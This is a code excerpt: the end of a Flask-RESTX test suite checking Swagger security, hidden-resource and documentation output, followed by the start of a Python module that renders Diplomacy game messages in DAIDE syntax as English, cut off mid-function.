"apiKey", "in": "header", "name": "X-API"} }, ) @api.route("/authorizations/") class ModelAsDict(restx.Resource): @api.doc(security=["apikey"]) def get(self): return {} @api.doc(security="apikey") def post(self): return {} data = client.get_specs() assert data["securityDefinitions"] == { "apikey": {"type": "apiKey", "in": "header", "name": "X-API"} } assert "security" not in data path = data["paths"]["/authorizations/"] for method in "get", "post": assert path[method]["security"] == [{"apikey": []}] def test_security_override(self, app, client): security_definitions = { "apikey": {"type": "apiKey", "in": "header", "name": "X-API"}, "oauth2": { "type": "oauth2", "flow": "accessCode", "tokenUrl": "https://somewhere.com/token", "scopes": { "read": "Grant read-only access", "write": "Grant read-write access", }, }, } api = restx.Api( app, security=["apikey", {"oauth2": "read"}], authorizations=security_definitions, ) @api.route("/authorizations/") class ModelAsDict(restx.Resource): @api.doc(security=[{"oauth2": ["read", "write"]}]) def get(self): return {} data = client.get_specs() assert data["securityDefinitions"] == security_definitions op = data["paths"]["/authorizations/"]["get"] assert op["security"] == [{"oauth2": ["read", "write"]}] def test_security_nullify(self, app, client): security_definitions = { "apikey": {"type": "apiKey", "in": "header", "name": "X-API"}, "oauth2": { "type": "oauth2", "flow": "accessCode", "tokenUrl": "https://somewhere.com/token", "scopes": { "read": "Grant read-only access", "write": "Grant read-write access", }, }, } api = restx.Api( app, security=["apikey", {"oauth2": "read"}], authorizations=security_definitions, ) @api.route("/authorizations/") class ModelAsDict(restx.Resource): @api.doc(security=[]) def get(self): return {} @api.doc(security=None) def post(self): return {} data = client.get_specs() assert data["securityDefinitions"] == security_definitions path = data["paths"]["/authorizations/"] for method in "get", "post": assert path[method]["security"] == [] def test_hidden_resource(self, api, client): @api.route("/test/", endpoint="test", doc=False) class TestResource(restx.Resource): def get(self): """ GET operation """ return {} @api.hide @api.route("/test2/", endpoint="test2") class TestResource2(restx.Resource): def get(self): """ GET operation """ return {} @api.doc(False) @api.route("/test3/", endpoint="test3") class TestResource3(restx.Resource): def get(self): """ GET operation """ return {} data = client.get_specs() for path in "/test/", "/test2/", "/test3/": assert path not in data["paths"] resp = client.get(path) assert resp.status_code == 200 def test_hidden_resource_from_namespace(self, api, client): ns = api.namespace("ns") @ns.route("/test/", endpoint="test", doc=False) class TestResource(restx.Resource): def get(self): """ GET operation """ return {} data = client.get_specs() assert "/ns/test/" not in data["paths"] resp = client.get("/ns/test/") assert resp.status_code == 200 def test_hidden_methods(self, api, client): @api.route("/test/", endpoint="test") @api.doc(delete=False) class TestResource(restx.Resource): def get(self): """ GET operation """ return {} @api.doc(False) def post(self): """POST operation. Should be ignored """ return {} @api.hide def put(self): """PUT operation. Should be ignored""" return {} def delete(self): return {} data = client.get_specs() path = data["paths"]["/test/"] assert "get" in path assert "post" not in path assert "put" not in path for method in "GET", "POST", "PUT": resp = client.open("/test/", method=method) assert resp.status_code == 200 def test_produces_method(self, api, client): @api.route("/test/", endpoint="test") class TestResource(restx.Resource): def get(self): pass @api.produces(["application/octet-stream"]) def post(self): pass data = client.get_specs() get_operation = data["paths"]["/test/"]["get"] assert "produces" not in get_operation post_operation = data["paths"]["/test/"]["post"] assert "produces" in post_operation assert post_operation["produces"] == ["application/octet-stream"] def test_deprecated_resource(self, api, client): @api.deprecated @api.route("/test/", endpoint="test") class TestResource(restx.Resource): def get(self): pass def post(self): pass data = client.get_specs() resource = data["paths"]["/test/"] for operation in resource.values(): assert "deprecated" in operation assert operation["deprecated"] is True def test_deprecated_method(self, api, client): @api.route("/test/", endpoint="test") class TestResource(restx.Resource): def get(self): pass @api.deprecated def post(self): pass data = client.get_specs() get_operation = data["paths"]["/test/"]["get"] assert "deprecated" not in get_operation post_operation = data["paths"]["/test/"]["post"] assert "deprecated" in post_operation assert post_operation["deprecated"] is True def test_vendor_as_kwargs(self, api, client): @api.route("/vendor_fields", endpoint="vendor_fields") class TestResource(restx.Resource): @api.vendor(integration={"integration1": "1"}) def get(self): return {} data = client.get_specs() assert "/vendor_fields" in data["paths"] path = data["paths"]["/vendor_fields"]["get"] assert "x-integration" in path assert path["x-integration"] == {"integration1": "1"} def test_vendor_as_dict(self, api, client): @api.route("/vendor_fields", endpoint="vendor_fields") class TestResource(restx.Resource): @api.vendor( { "x-some-integration": {"integration1": "1"}, "another-integration": True, }, {"third-integration": True}, ) def get(self, age): return {} data = client.get_specs() assert "/vendor_fields" in data["paths"] path = data["paths"]["/vendor_fields"]["get"] assert "x-some-integration" in path assert path["x-some-integration"] == {"integration1": "1"} assert "x-another-integration" in path assert path["x-another-integration"] is True assert "x-third-integration" in path assert path["x-third-integration"] is True def test_method_restrictions(self, api, client): @api.route("/foo/bar", endpoint="foo") @api.route("/bar", methods=["GET"], endpoint="bar") class TestResource(restx.Resource): def get(self): pass def post(self): pass data = client.get_specs() path = data["paths"]["/foo/bar"] assert "get" in path assert "post" in path path = data["paths"]["/bar"] assert "get" in path assert "post" not in path def test_multiple_routes_inherit_doc(self, api, client): @api.route("/foo/bar") @api.route("/bar") @api.doc(description="an endpoint") class TestResource(restx.Resource): def get(self): pass data = client.get_specs() path = data["paths"]["/foo/bar"] assert path["get"]["description"] == "an endpoint" path = data["paths"]["/bar"] assert path["get"]["description"] == "an endpoint" def test_multiple_routes_individual_doc(self, api, client): @api.route("/foo/bar", doc={"description": "the same endpoint"}) @api.route("/bar", doc={"description": "an endpoint"}) class TestResource(restx.Resource): def get(self): pass data = client.get_specs() path = data["paths"]["/foo/bar"] assert path["get"]["description"] == "the same endpoint" path = data["paths"]["/bar"] assert path["get"]["description"] == "an endpoint" def test_multiple_routes_override_doc(self, api, client): @api.route("/foo/bar", doc={"description": "the same endpoint"}) @api.route("/bar") @api.doc(description="an endpoint") class TestResource(restx.Resource): def get(self): pass data = client.get_specs() path = data["paths"]["/foo/bar"] assert path["get"]["description"] == "the same endpoint" path = data["paths"]["/bar"] assert path["get"]["description"] == "an endpoint" def test_multiple_routes_no_doc_same_operationIds(self, api, client): @api.route("/foo/bar") @api.route("/bar") class TestResource(restx.Resource): def get(self): pass data = client.get_specs() expected_operation_id = "get_test_resource" path = data["paths"]["/foo/bar"] assert path["get"]["operationId"] == expected_operation_id path = data["paths"]["/bar"] assert path["get"]["operationId"] == expected_operation_id def test_multiple_routes_with_doc_unique_operationIds(self, api, client): @api.route( "/foo/bar", doc={"description": "I should be treated separately"}, ) @api.route("/bar") class TestResource(restx.Resource): def get(self): pass data = client.get_specs() path = data["paths"]["/foo/bar"] assert path["get"]["operationId"] == "get_test_resource_/foo/bar" path = data["paths"]["/bar"] assert path["get"]["operationId"] == "get_test_resource" def test_mutltiple_routes_merge_doc(self, api, client): @api.route("/foo/bar", doc={"description": "the same endpoint"}) @api.route("/bar", doc={"description": False}) @api.doc(security=[{"oauth2": ["read", "write"]}]) class TestResource(restx.Resource): def get(self): pass data = client.get_specs() path = data["paths"]["/foo/bar"] assert path["get"]["description"] == "the same endpoint" assert path["get"]["security"] == [{"oauth2": ["read", "write"]}] path = data["paths"]["/bar"] assert "description" not in path["get"] assert path["get"]["security"] == [{"oauth2": ["read", "write"]}] def test_multiple_routes_deprecation(self, api, client): @api.route("/foo/bar", doc={"deprecated": True}) @api.route("/bar") class TestResource(restx.Resource): def get(self): pass data = client.get_specs() path = data["paths"]["/foo/bar"] assert path["get"]["deprecated"] is True path = data["paths"]["/bar"] assert "deprecated" not in path["get"] @pytest.mark.parametrize("path_name", ["/name/{age}/", "/first-name/{age}/"]) def test_multiple_routes_explicit_parameters_override(self, path_name, api, client): @api.route("/name/<int:age>/", endpoint="by-name") @api.route("/first-name/<int:age>/") @api.doc( params={ "q": { "type": "string", "in": "query", "description": "Overriden description", }, "age": {"description": "An age"}, } ) class ByNameResource(restx.Resource): @api.doc(params={"q": {"description": "A query string"}}) def get(self, age): return {} def post(self, age): pass data = client.get_specs() assert path_name in data["paths"] path = data["paths"][path_name] assert len(path["parameters"]) == 1 by_name = dict((p["name"], p) for p in path["parameters"]) parameter = by_name["age"] assert parameter["name"] == "age" assert parameter["type"] == "integer" assert parameter["in"] == "path" assert parameter["required"] is True assert parameter["description"] == "An age" # Don't duplicate parameters assert "q" not in by_name get = path["get"] assert len(get["parameters"]) == 1 parameter = get["parameters"][0] assert parameter["name"] == "q" assert parameter["type"] == "string" assert parameter["in"] == "query" assert parameter["description"] == "A query string" post = path["post"] assert len(post["parameters"]) == 1 parameter = post["parameters"][0] assert parameter["name"] == "q" assert parameter["type"] == "string" assert parameter["in"] == "query" assert parameter["description"] == "Overriden description" class SwaggerDeprecatedTest(object): def test_doc_parser_parameters(self, api): parser = api.parser() parser.add_argument("param", type=int, help="Some param") with pytest.warns(DeprecationWarning): @api.route("/with-parser/") class WithParserResource(restx.Resource): @api.doc(parser=parser) def get(self): return {} assert "parser" not in WithParserResource.get.__apidoc__ assert "expect" in WithParserResource.get.__apidoc__ doc_parser = WithParserResource.get.__apidoc__["expect"][0] assert doc_parser.__schema__ == parser.__schema__ def test_doc_method_parser_on_class(self, api): parser = api.parser() parser.add_argument("param", type=int, help="Some param") with pytest.warns(DeprecationWarning): @api.route("/with-parser/") @api.doc(get={"parser": parser}) class WithParserResource(restx.Resource): def get(self): return {} def post(self): return {} assert "parser" not in WithParserResource.__apidoc__["get"] assert "expect" in WithParserResource.__apidoc__["get"] doc_parser = WithParserResource.__apidoc__["get"]["expect"][0] assert doc_parser.__schema__ == parser.__schema__ def test_doc_body_as_tuple(self, api): fields = api.model( "Person", { "name": restx.fields.String, "age": restx.fields.Integer, "birthdate": restx.fields.DateTime, }, ) with pytest.warns(DeprecationWarning): @api.route("/model-as-dict/") class ModelAsDict(restx.Resource): @api.doc(body=(fields, "Body description")) def post(self): return {} assert "body" not in ModelAsDict.post.__apidoc__ assert ModelAsDict.post.__apidoc__["expect"] == [(fields, "Body description")] def test_build_request_body_parameters_schema(self): parser = restx.reqparse.RequestParser() parser.add_argument("test", type=int, location="headers") parser.add_argument("test1", type=int, location="json") parser.add_argument("test2", location="json") body_params = [p for p in parser.__schema__ if p["in"] == "body"] result = restx.swagger.build_request_body_parameters_schema(body_params) assert result["name"] == "payload" assert result["required"] assert result["in"] == "body" assert result["schema"]["type"] == "object" assert result["schema"]["properties"]["test1"]["type"] == "integer" assert result["schema"]["properties"]["test2"]["type"] == "string"

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py

Python

pressgloss/core.py

jpowersdevtech/pressgloss

dba7f97c8b00db04da54ef79022553ff06fa0737

[ "BSD-2-Clause-FreeBSD" ]

2

2022-02-03T17:09:56.000Z

2022-02-07T19:21:15.000Z

pressgloss/core.py

jpowersdevtech/pressgloss

dba7f97c8b00db04da54ef79022553ff06fa0737

[ "BSD-2-Clause-FreeBSD" ]

null

pressgloss/core.py

jpowersdevtech/pressgloss

dba7f97c8b00db04da54ef79022553ff06fa0737

[ "BSD-2-Clause-FreeBSD" ]

null

# -*- coding: utf-8 -*- """%pressgloss% library""" # Standard library imports import logging import random # pressgloss imports from . import helpers class PressUtterance: """ A statement by a Diplomacy Power addressed to other Powers and regarding some in-game topic with a tone """ def __init__(self, daide='', tones=None): # type: (str, []) -> None """ Initialize the utterance with a DAIDE expression :param daide: the press utterance in DAIDE syntax :type daide: str :param tones: the tones to use when forming English :type tones: [] """ if tones is None: self.tones = [] else: self.tones = tones if daide is None or daide == '': self.frompower = random.choice(helpers.powerlist) self.topowers = [] tolist = [curpower for curpower in helpers.powerlist if curpower != self.frompower] self.topowers = random.sample(tolist, random.randint(1, 4)) contentword = random.choice(['PRP', 'FCT', 'YES', 'REJ', 'HUH', 'BWX', 'CCL']) self.content = randomFactory(self, None, contentword) self.daide = self.formDAIDE() else: self.daide = daide thelists = helpers.daide2lists(daide) if len(thelists) == 4 and thelists[0] == 'FRM': self.frompower = thelists[1][0] self.topowers = thelists[2] self.content = messageFactory(self, None, thelists[3]) else: self.frompower = '' self.topowers = [] self.content = None self.formenglish() def __eq__(self, other): # type: (PressUtterance) -> bool """ Override default equality with a comparison of DAIDE expressions :param other: the other utterance to compare :type other: PressUtterance :return: if these utterances are equal :rtype: bool """ return self.daide.lower() == other.daide.lower() def __ne__(self, other): # type: (PressUtterance) -> bool """ Override default inequality with reference to equality :param other: the other utterance to compare :type other: PressUtterance :return: if these utterances are not equal :rtype: bool """ return not self.__eq__(other) def formenglish(self, tones=None): # type ([]) -> None """ Creates an English expression either using the initial tones or a given new set. Stores the English in the object as the 'english' attribute. :param tones: the tones to use when forming English :type tones: [] """ if tones is not None and len(tones) > 0: self.tones = tones if self.content is None: self.english = 'Ahem.' else: self.english = self.content.formenglish() def formDAIDE(self): # type () -> str """ Create a DAIDE representation of this Utterance :return: the DAIDE message :rtype: str """ return 'FRM (' + self.frompower + ') (' + ' '.join(self.topowers) + ') (' + self.content.formDAIDE() + ')' class PressMessage: """ The game-related content of an utterance. Top-level DAIDE class that should never be used directly. """ def __init__(self, utterance, container): # type: (PressUtterance, PressMessage) -> None """ Initialize the message with an utterance :param utterance: the press utterance that this message is within the content for :type utterance: PressUtterance :param container: the press message that contains this one :type container: PressMessage """ self.utterance = utterance self.container = container self.operator = '' self.details = None self.english = 'Ahem.' def __eq__(self, other): # type: (PressMessage) -> bool """ Override default equality with a comparison of DAIDE expressions :param other: the other message to compare :type other: PressMessage :return: if these messages are equal :rtype: bool """ return self.utterance.daide.lower() == other.utterance.daide.lower() def __ne__(self, other): # type: (PressMessage) -> bool """ Override default inequality with reference to equality :param other: the other message to compare :type other: PressMessage :return: if these messages are not equal :rtype: bool """ return not self.__eq__(other) def formenglish(self): # type () -> str """ Creates an English expression in the context of a sender, recipients and desired tone. :return: the English expression :rtype: str """ self.english = helpers.tonetize(self.utterance, self.english) return self.english def formsimpleenglish(self): # type: () -> str """ Creates a simple English statement, without any context like proposals, negations, etc. Useful for lists of conjunctions or other contexts in which simplicity is valued over flavor. :return: the simple English statement :rtype: str """ self.simpleenglish = 'A DAIDE expression.' return self.simpleenglish def formDAIDE(self): # type () -> str """ Create a DAIDE representation of this Message :return: the DAIDE message :rtype: str """ return self.operator class PressFact(PressMessage): """ The game-related content of a fact. """ def __init__(self, utterance, container, thelists): # type: (PressUtterance, PressMessage, []) -> None """ Initialize the message with an utterance :param utterance: the press utterance that this message is within the content for :type utterance: PressUtterance :param container: the press message that contains this one :type container: PressMessage :param thelists: the parsed, nested DAIDE statement :type thelists: [] """ super().__init__(utterance, container) if thelists is None or len(thelists) == 0: self.operator = 'FCT' contentword = random.choice(['PCE', 'ALY', 'DMZ', 'SLO', 'DRW', 'XDO', 'NOT', 'NAR', 'AND', 'ORR', 'IFF']) self.details = randomFactory(utterance, self, contentword) elif len(thelists) == 2: self.operator = thelists[0] self.details = messageFactory(utterance, self, thelists[1]) def formenglish(self): # type () -> str """ Creates an English expression about the fact in the context of a sender, recipients and desired tone. :return: the English expression :rtype: str """ if self.details is None: return super().formenglish() self.english = self.details.formenglish() if self.container is None: self.english = helpers.tonetize(self.utterance, self.english) return self.english def formsimpleenglish(self): # type: () -> str """ Creates a simple English statement, without any context like proposals, negations, etc. Useful for lists of conjunctions or other contexts in which simplicity is valued over flavor. :return: the simple English statement :rtype: str """ self.simpleenglish = self.details.formsimpleenglish() return self.simpleenglish def formDAIDE(self): # type () -> str """ Create a DAIDE representation of this Message :return: the DAIDE message :rtype: str """ return 'FCT (' + self.details.formDAIDE() + ')' class PressProposal(PressMessage): """ The game-related content of a proposal. """ def __init__(self, utterance, container, thelists): # type: (PressUtterance, PressMessage, []) -> None """ Initialize the message with an utterance :param utterance: the press utterance that this message is within the content for :type utterance: PressUtterance :param container: the press message that contains this one :type container: PressMessage :param thelists: the parsed, nested DAIDE statement :type thelists: [] """ super().__init__(utterance, container) if thelists is None or len(thelists) == 0: self.operator = 'PRP' contentword = random.choice(['PCE', 'ALY', 'DMZ', 'SLO', 'DRW', 'XDO', 'NOT', 'NAR', 'AND', 'ORR', 'IFF']) self.details = randomFactory(utterance, self, contentword) elif len(thelists) == 2: self.operator = thelists[0] self.details = messageFactory(utterance, self, thelists[1]) def formenglish(self): # type () -> str """ Creates an English expression about the proposal in the context of a sender, recipients and desired tone. :return: the English expression :rtype: str """ if self.details is None: return super().formenglish() self.english = self.details.formenglish() if self.container is None: self.english = helpers.tonetize(self.utterance, self.english) return self.english def formsimpleenglish(self): # type: () -> str """ Creates a simple English statement, without any context like proposals, negations, etc. Useful for lists of conjunctions or other contexts in which simplicity is valued over flavor. :return: the simple English statement :rtype: str """ self.simpleenglish = self.details.formsimpleenglish() return self.simpleenglish def formDAIDE(self): # type () -> str """ Create a DAIDE representation of this Message :return: the DAIDE message :rtype: str """ return 'PRP (' + self.details.formDAIDE() + ')' class PressAccept(PressMessage): """ The game-related content of an acceptance. """ def __init__(self, utterance, container, thelists): # type: (PressUtterance, PressMessage, []) -> None """ Initialize the message with an utterance :param utterance: the press utterance that this message is within the content for :type utterance: PressUtterance :param container: the press message that contains this one :type container: PressMessage :param thelists: the parsed, nested DAIDE statement :type thelists: [] """ super().__init__(utterance, container) if thelists is None or len(thelists) == 0: self.operator = 'YES' self.details = randomFactory(utterance, self, 'PRP') elif len(thelists) == 2: self.operator = thelists[0] self.details = messageFactory(utterance, self, thelists[1]) def formenglish(self): # type () -> str """ Creates an English expression about the acceptance in the context of a sender, recipients and desired tone. :return: the English expression :rtype: str """ if self.details is None: return super().formenglish() self.english = self.details.formenglish() if self.container is None: self.english = helpers.tonetize(self.utterance, self.english) return self.english def formsimpleenglish(self): # type: () -> str """ Creates a simple English statement, without any context like proposals, negations, etc. Useful for lists of conjunctions or other contexts in which simplicity is valued over flavor. :return: the simple English statement :rtype: str """ self.simpleenglish = 'I accept your proposal.' return self.simpleenglish def formDAIDE(self): # type () -> str """ Create a DAIDE representation of this Message :return: the DAIDE message :rtype: str """ return 'YES (' + self.details.formDAIDE() + ')' class PressReject(PressMessage): """ The game-related content of a rejection. """ def __init__(self, utterance, container, thelists): # type: (PressUtterance, PressMessage, []) -> None """ Initialize the message with an utterance :param utterance: the press utterance that this message is within the content for :type utterance: PressUtterance :param container: the press message that contains this one :type container: PressMessage :param thelists: the parsed, nested DAIDE statement :type thelists: [] """ super().__init__(utterance, container) if thelists is None or len(thelists) == 0: self.operator = 'REJ' self.details = randomFactory(utterance, self, 'PRP') elif len(thelists) == 2: self.operator = thelists[0] self.details = messageFactory(utterance, self, thelists[1]) def formenglish(self): # type () -> str """ Creates an English expression about the rejection in the context of a sender, recipients and desired tone. :return: the English expression :rtype: str """ if self.details is None: return super().formenglish() self.english = self.details.formenglish() if self.container is None: self.english = helpers.tonetize(self.utterance, self.english) return self.english def formsimpleenglish(self): # type: () -> str """ Creates a simple English statement, without any context like proposals, negations, etc. Useful for lists of conjunctions or other contexts in which simplicity is valued over flavor. :return: the simple English statement :rtype: str """ self.simpleenglish = 'I reject your proposal.' return self.simpleenglish def formDAIDE(self): # type () -> str """ Create a DAIDE representation of this Message :return: the DAIDE message :rtype: str """ return 'REJ (' + self.details.formDAIDE() + ')' class PressCancel(PressMessage): """ The game-related content of a cancellation. """ def __init__(self, utterance, container, thelists): # type: (PressUtterance, PressMessage, []) -> None """ Initialize the message with an utterance :param utterance: the press utterance that this message is within the content for :type utterance: PressUtterance :param container: the press message that contains this one :type container: PressMessage :param thelists: the parsed, nested DAIDE statement :type thelists: [] """ super().__init__(utterance, container) if thelists is None or len(thelists) == 0: self.operator = 'CCL' self.details = randomFactory(utterance, self, 'PRP') elif len(thelists) == 2: self.operator = thelists[0] self.details = messageFactory(utterance, self, thelists[1]) def formenglish(self): # type () -> str """ Creates an English expression about the rejection in the context of a sender, recipients and desired tone. :return: the English expression :rtype: str """ if self.details is None: return super().formenglish() self.english = self.details.formenglish() if self.container is None: self.english = helpers.tonetize(self.utterance, self.english) return self.english def formsimpleenglish(self): # type: () -> str """ Creates a simple English statement, without any context like proposals, negations, etc. Useful for lists of conjunctions or other contexts in which simplicity is valued over flavor. :return: the simple English statement :rtype: str """ self.simpleenglish = 'I wish to cancel my last message.' return self.simpleenglish def formDAIDE(self): # type () -> str """ Create a DAIDE representation of this Message :return: the DAIDE message :rtype: str """ return 'CCL (' + self.details.formDAIDE() + ')' class PressHuh(PressMessage): """ The game-related content of a confusion. """ def __init__(self, utterance, container, thelists): # type: (PressUtterance, PressMessage, []) -> None """ Initialize the message with an utterance :param utterance: the press utterance that this message is within the content for :type utterance: PressUtterance :param container: the press message that contains this one :type container: PressMessage :param thelists: the parsed, nested DAIDE statement :type thelists: [] """ super().__init__(utterance, container) if thelists is None or len(thelists) == 0: self.operator = 'HUH' self.details = randomFactory(utterance, self, random.choice(['PRP', 'FCT'])) elif len(thelists) == 2: self.operator = thelists[0] self.details = messageFactory(utterance, self, thelists[1]) def formenglish(self): # type () -> str """ Creates an English expression about the confusion in the context of a sender, recipients and desired tone. :return: the English expression :rtype: str """ if self.details is None: return super().formenglish() self.english = self.details.formenglish() return self.english def formsimpleenglish(self): # type: () -> str """ Creates a simple English statement, without any context like proposals, negations, etc. Useful for lists of conjunctions or other contexts in which simplicity is valued over flavor. :return: the simple English statement :rtype: str """ self.simpleenglish = 'I did not understand your message.' return self.simpleenglish def formDAIDE(self): # type () -> str """ Create a DAIDE representation of this Message :return: the DAIDE message :rtype: str """ return 'HUH (' + self.details.formDAIDE() + ')' class PressIgnore(PressMessage): """ The game-related content of an ignoring. """ def __init__(self, utterance, container, thelists): # type: (PressUtterance, PressMessage, []) -> None """ Initialize the message with an utterance :param utterance: the press utterance that this message is within the content for :type utterance: PressUtterance :param container: the press message that contains this one :type container: PressMessage :param thelists: the parsed, nested DAIDE statement :type thelists: [] """ super().__init__(utterance, container) if thelists is None or len(thelists) == 0: self.operator = 'BWX' self.details = randomFactory(utterance, self, 'PRP') elif len(thelists) == 2: self.operator = thelists[0] self.details = messageFactory(utterance, self, thelists[1]) def formenglish(self): # type () -> str """ Creates an English expression about the ignoring in the context of a sender, recipients and desired tone. :return: the English expression :rtype: str """ if random.choice([True,False]): self.english = '' else: self.english = helpers.powerdict[self.utterance.frompower]['Objective'] + ' ignores you.' return self.english def formsimpleenglish(self): # type: () -> str """ Creates a simple English statement, without any context like proposals, negations, etc. Useful for lists of conjunctions or other contexts in which simplicity is valued over flavor. :return: the simple English statement :rtype: str """ self.simpleenglish = self.formenglish() return self.simpleenglish def formDAIDE(self): # type () -> str """ Create a DAIDE representation of this Message :return: the DAIDE message :rtype: str """ return 'BWX (' + self.details.formDAIDE() + ')' class PressPeace(PressMessage): """ The game-related content of a peace treaty. """ def __init__(self, utterance, container, thelists): # type: (PressUtterance, PressMessage, []) -> None """ Initialize the message with an utterance :param utterance: the press utterance that this message is within the content for :type utterance: PressUtterance :param container: the press message that contains this one :type container: PressMessage :param thelists: the parsed, nested DAIDE statement :type thelists: [] """ super().__init__(utterance, container) if thelists is None or len(thelists) == 0: self.operator = 'PCE' if random.choice([True, True, False]): self.allies = [curpower for curpower in helpers.powerlist if curpower in utterance.topowers or curpower == utterance.frompower] else: self.allies = random.sample(helpers.powerlist, random.randint(2, 4)) elif len(thelists) == 2: self.operator = thelists[0] self.allies = thelists[1] def formenglish(self): # type () -> str """ Creates an English expression about the ignoring in the context of a sender, recipients and desired tone. :return: the English expression :rtype: str """ if self.container.operator == 'PRP': # (PRP (PCE if self.container.container is None: if random.choice([True, False]): self.english = 'I ' + random.choice(['propose', 'request', 'offer']) + \ ' a ' + random.choice(['peace treaty', 'peace deal', 'non-agression pact', 'cease-fire']) + \ ' between ' + helpers.listOfPowers(self.allies, self.utterance.frompower, self.utterance.topowers) + '.' else: self.english = 'I ' + random.choice(['propose', 'request']) + ' that ' + \ helpers.listOfPowers(self.allies, self.utterance.frompower, self.utterance.topowers, case='Subjective') + ' ' + \ random.choice(['form', 'sign', 'agree to', 'establish']) + ' a ' + \ random.choice(['peace treaty', 'peace deal', 'non-agression pact', 'cease-fire']) + '.' # (YES (PRP (PCE elif self.container.container.operator == 'YES': self.english = 'I ' + random.choice(['agree to', 'concur with', 'would appreciate']) + ' a ' + \ random.choice(['peace treaty', 'peace deal', 'non-agression pact', 'cease-fire']) + \ ' between ' + helpers.listOfPowers(self.allies, self.utterance.frompower, self.utterance.topowers) + '.' # (REJ (PRP (PCE elif self.container.container.operator == 'REJ': self.english = 'I ' + random.choice(['reject', 'do not concur with', 'do not approve of']) + ' a ' + \ random.choice(['peace treaty', 'peace deal', 'non-agression pact', 'cease-fire']) + \ ' between ' + helpers.listOfPowers(self.allies, self.utterance.frompower, self.utterance.topowers) + '.' # (CCL (PRP (PCE elif self.container.container.operator == 'CCL': self.english = 'I wish to ' + random.choice(['cancel', 'retract', 'take back']) + ' my proposal of a ' + \ random.choice(['peace treaty', 'peace deal', 'non-agression pact', 'cease-fire']) + \ ' between ' + helpers.listOfPowers(self.allies, self.utterance.frompower, self.utterance.topowers) + '.' # (HUH (PRP (PCE elif self.container.container.operator == 'HUH': self.english = 'I do not understand your peace proposal.' elif self.container.operator == 'NOT': if self.container.container.operator == 'PRP': # (PRP (NOT (PCE if self.container.container.container is None: self.english = 'I ' + random.choice(['propose', 'request']) + ' that ' + \ helpers.listOfPowers(self.allies, self.utterance.frompower, self.utterance.topowers, case='Subjective') + ' ' + \ random.choice(['break', 'cancel', 'annul']) + ' ' + \ helpers.listOfPowers(self.allies, self.utterance.frompower, self.utterance.topowers, case='Possessive') + ' ' + \ random.choice(['peace treaty', 'peace deal', 'non-agression pact', 'cease-fire']) + '.' # (YES (PRP (NOT (PCE elif self.container.container.container.operator == 'YES': self.english = 'I ' + random.choice(['agree', 'concur']) + ' that ' + \ helpers.listOfPowers(self.allies, self.utterance.frompower, self.utterance.topowers, case='Subjective') + ' ' + \ random.choice(['break', 'cancel', 'annul']) + ' ' + \ helpers.listOfPowers(self.allies, self.utterance.frompower, self.utterance.topowers, case='Possessive') + ' ' + \ random.choice(['peace treaty', 'peace deal', 'non-agression pact', 'cease-fire']) + '.' # (REJ (PRP (NOT (PCE elif self.container.container.container.operator == 'REJ': if random.choice([True, False]): self.english = 'I ' + random.choice(['disagree', 'reject']) + ' that ' + \ helpers.listOfPowers(self.allies, self.utterance.frompower, self.utterance.topowers, case='Subjective') + \ ' should ' + random.choice(['break', 'cancel', 'annul']) + ' ' + \ helpers.listOfPowers(self.allies, self.utterance.frompower, self.utterance.topowers, case='Possessive') + ' ' + \ random.choice(['peace treaty', 'peace deal', 'non-agression pact', 'cease-fire']) + '.' else: self.english = 'No, ' + helpers.listOfPowers(self.allies, self.utterance.frompower, self.utterance.topowers, case='Subjective') + ' ' + \ random.choice(['should not', 'cannot', 'ought not']) + ' ' + random.choice(['break', 'cancel', 'annul']) + ' ' + \ helpers.listOfPowers(self.allies, self.utterance.frompower, self.utterance.topowers, case='Possessive') + ' ' + \ random.choice(['peace treaty', 'peace deal', 'non-agression pact', 'cease-fire']) + '.' # (CCL (PRP (NOT (PCE elif self.container.container.container.operator == 'CCL': self.english = 'I wish to ' + random.choice(['cancel', 'retract', 'take back']) + ' my proposal that ' + \ helpers.listOfPowers(self.allies, self.utterance.frompower, self.utterance.topowers, case='Subjective') + ' ' + \ random.choice(['break', 'cancel', 'annul']) + ' ' + \ helpers.listOfPowers(self.allies, self.utterance.frompower, self.utterance.topowers, case='Possessive') + ' ' + \ random.choice(['peace treaty', 'peace deal', 'non-agression pact', 'cease-fire']) + '.' # (HUH (PRP (NOT (PCE elif self.container.container.container.operator == 'HUH': self.english = 'I do not understand your proposal about a peace treaty.' elif self.container.container.operator == 'FCT': # (FCT (NOT (PCE if self.container.container.container is None: self.english = helpers.listOfPowers(self.allies, self.utterance.frompower, self.utterance.topowers, case='Subjective') + ' ' + \ random.choice(['are not in a current', 'do not have a current', 'are not in an active', 'do not have an active', 'are not in a', 'do not have a']) + ' ' + \ random.choice(['peace treaty', 'peace deal', 'non-agression pact', 'cease-fire']) + '.' # (HUH (FCT (NOT (PCE elif self.container.container.container.operator == 'HUH': self.english = 'I do not understand your statement about a peace treaty.' elif self.container.operator == 'NAR': if self.container.container.operator == 'PRP': # (PRP (NAR (PCE if self.container.container.container is None: self.english = 'I ' + random.choice(['propose', 'request']) + ' that ' + \ helpers.listOfPowers(self.allies, self.utterance.frompower, self.utterance.topowers, case='Subjective') + ' not ' + \ random.choice(['form', 'sign', 'agree to', 'establish']) + ' a ' + \ random.choice(['peace treaty', 'peace deal', 'non-agression pact', 'cease-fire']) + '.' # (YES (PRP (NAR (PCE elif self.container.container.container.operator == 'YES': self.english = 'I ' + random.choice(['agree', 'concur']) + ' that ' + \ helpers.listOfPowers(self.allies, self.utterance.frompower, self.utterance.topowers, case='Subjective') + ' not ' + \ random.choice(['form', 'sign', 'agree to', 'establish']) + ' a ' + \ random.choice(['peace treaty', 'peace deal', 'non-agression pact', 'cease-fire']) + '.' # (REJ (PRP (NAR (PCE elif self.container.container.container.operator == 'REJ': self.english = 'No, I ' + random.choice(['think', 'believe']) + ' that ' + \ helpers.listOfPowers(self.allies, self.utterance.frompower, self.utterance.topowers, case='Subjective') + \ ' should in fact ' + random.choice(['form', 'sign', 'agree to', 'establish']) + ' a ' + \ random.choice(['peace treaty', 'peace deal', 'non-agression pact', 'cease-fire']) + '.' # (CCL (PRP (NAR (PCE elif self.container.container.container.operator == 'CCL': self.english = 'I wish to ' + random.choice(['cancel', 'retract', 'take back']) + ' my proposal that ' + \ helpers.listOfPowers(self.allies, self.utterance.frompower, self.utterance.topowers, case='Subjective') + \ ' avoid ' + random.choice(['forming', 'signing', 'agreeing to', 'establishing']) + ' a ' + \ random.choice(['peace treaty', 'peace deal', 'non-agression pact', 'cease-fire']) + '.' # (HUH (PRP (NAR (PCE elif self.container.container.container.operator == 'HUH': self.english = 'I do not understand your proposal about a peace treaty.' elif self.container.container.operator == 'FCT': # (FCT (NAR (PCE if self.container.container.container is None: 